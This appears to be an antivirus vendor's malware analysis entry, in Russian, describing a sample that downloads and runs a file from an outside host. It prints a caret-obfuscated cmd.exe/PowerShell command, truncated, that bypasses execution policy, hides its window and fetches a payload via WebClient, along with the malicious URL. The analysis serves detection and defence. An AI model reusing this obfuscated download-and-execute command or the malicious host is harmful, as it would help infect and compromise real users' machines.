Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://bestflowstou.wang/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "p^owE^r^SH^El^L^.Exe -E^x^EcUTIo^NpOLi^C^y^ bypaS^s -nOpr^O^FI^LE -^w^In^Do^WS^Tyl^E ^HidDE^n ^(NEW^-o^bjEc^t ^Sys^TEm.^nEt^.wE^B^cli^E^nt).DOw^nLO^aD^f^I^le(^'http://best...
Сетевая активность
UDP
- DNS ASK be####owstou.wang
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "p^owE^r^SH^El^L^.Exe -E^x^EcUTIo^NpOLi^C^y^ bypaS^s -nOpr^O^FI^LE -^w^In^Do^WS^Tyl^E ^HidDE^n ^(NEW^-o^bjEc^t ^Sys^TEm.^nEt^.wE^B^cli^E^nt).DOw^nLO^aD^f^I^le(^'http://best...' (со скрытым окном)
